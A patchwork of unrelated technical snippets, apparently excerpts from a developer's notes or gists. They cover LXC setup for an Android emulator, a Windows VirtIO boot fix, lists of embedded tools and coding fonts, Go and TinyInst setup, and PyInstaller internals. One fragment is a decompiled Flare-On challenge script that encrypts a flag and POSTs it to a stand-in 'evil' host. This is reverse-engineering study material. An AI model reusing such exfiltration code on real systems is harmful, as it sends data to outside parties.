lxc init ubuntu:24.04 -c security.nesting=true android-emulator
lxc config device add android-emulator port5555 proxy listen=tcp:10.0.0.1:5555 connect=tcp:127.0.0.1:5555
lxc config device add android-emulator kvm unix-char source=/dev/kvm
lxc config device add android-emulator vhost-net unix-char source=/dev/vhost-net
lxc config device add android-emulator vhost-vsock unix-char source=/dev/vhost-vsock
lxc start android-emulator
This writeup describes the process to fix Windows not booting on a VirtIO disk. The VPS only boots when changing the "Disk Driver" to IDE on SolusVM. When the disk device is VirtIO windows fails to boot with an INACCESSIBLE_BOOT_DEVICE
error.
The issue was likely caused due to installation of OSFMount software previously.
Before starting, a full disk image of the VPS may be taken for safety. Enable rescue mode in SolusVM. It will then display the SSH connection credentials. Connect to the server using the same credentials from another server which has sufficient disk space to store the full disk image. Run lsblk
to list the disk drives attached to the system. To inspect the disk manually, run mount
in readonly mode as shown.
# mount -o ro /dev/vda1 /mnt
- PlatformIO CLI: https://docs.platformio.org/en/stable/core/index.html
- PlatformIO IDE: A VSCode extension https://docs.platformio.org/en/stable/integration/ide/pioide.html
- ESPTool: https://docs.espressif.com/projects/esptool/en/latest/esp32/
- ESP-IDF: Eclipse Plugin + VSCode extension https://github.com/espressif/esp-idf
- Arduino CLI: https://github.com/arduino/arduino-cli
- VSCode-Arduino: https://github.com/microsoft/vscode-arduino
- Legacy Arduino IDE: https://www.arduino.cc/en/software
PlatformIO based tools can work both with Arduino as well as Espressif libraries.
- Cascadia Code: https://github.com/microsoft/cascadia-code
- Inconsolata: https://github.com/googlefonts/Inconsolata
- JetBrains Mono: https://github.com/JetBrains/JetBrainsMono
- IntelOne Mono: https://github.com/intel/intel-one-mono
- Fira Code: https://github.com/tonsky/FiraCode
- Geist Mono: https://github.com/vercel/geist-font
- Monaspace: https://github.com/githubnext/monaspace
$ conda create -n goenv go
$ conda activate goenv
(goenv) $ conda install -c conda-forge gxx_linux-64 # Required for the vscode go extension
Note the current goroot path
(goenv) $ go env GOROOT
package main | |
import ( | |
"bufio" | |
"fmt" | |
"io" | |
"os" | |
"os/exec" | |
"sync/atomic" | |
"time" |
# uncompyle6 version 3.7.4 | |
# Python bytecode 3.7 (3394) | |
# Decompiled from: Python 3.7.11 (default, Jul 27 2021, 09:42:29) [MSC v.1916 64 bit (AMD64)] | |
# Embedded file name: <frozen 11> | |
import crypt, base64, requests | |
config = {'url':'http://www.evil.flare-on.com', 'flag':b'Pyth0n_Prot3ction_tuRn3d_Up_t0_11@flare-on.com', 'key':b'PyArmor_Pr0tecteth_My_K3y'} | |
cipher = crypt.ARC4(config['key']) | |
flag = base64.b64encode(cipher.encrypt(config['flag'])) | |
try: | |
requests.post((config['url']), data={'flag': flag}) |
TinyInst is a lightweight dynamic instrumentation library that can be used to instrument only selected module(s) in the process, while leaving the rest of the process to run natively. It is meant to be easy to understand, easy to hack on and easy to hack with. It is not designed to be compatible with all targets (more on that later).
https://github.com/googleprojectzero/TinyInst
git clone https://github.com/googleprojectzero/TinyInst
cd TinyInst\third_party
rmdir /s mbuild
rmdir /s xed
git clone https://github.com/intelxed/mbuild
package main | |
import ( | |
"bytes" | |
"crypto/rand" | |
"crypto/rsa" | |
"crypto/tls" | |
"crypto/x509" | |
"crypto/x509/pkix" | |
"encoding/pem" |
pyinstaller/bootloader/src/pyi_archive.h
/* Types of CArchive items. */
#define ARCHIVE_ITEM_BINARY 'b' /* binary */
#define ARCHIVE_ITEM_DEPENDENCY 'd' /* runtime option */
#define ARCHIVE_ITEM_PYZ 'z' /* zlib (pyz) - frozen Python code */
#define ARCHIVE_ITEM_ZIPFILE 'Z' /* zlib (pyz) - frozen Python code */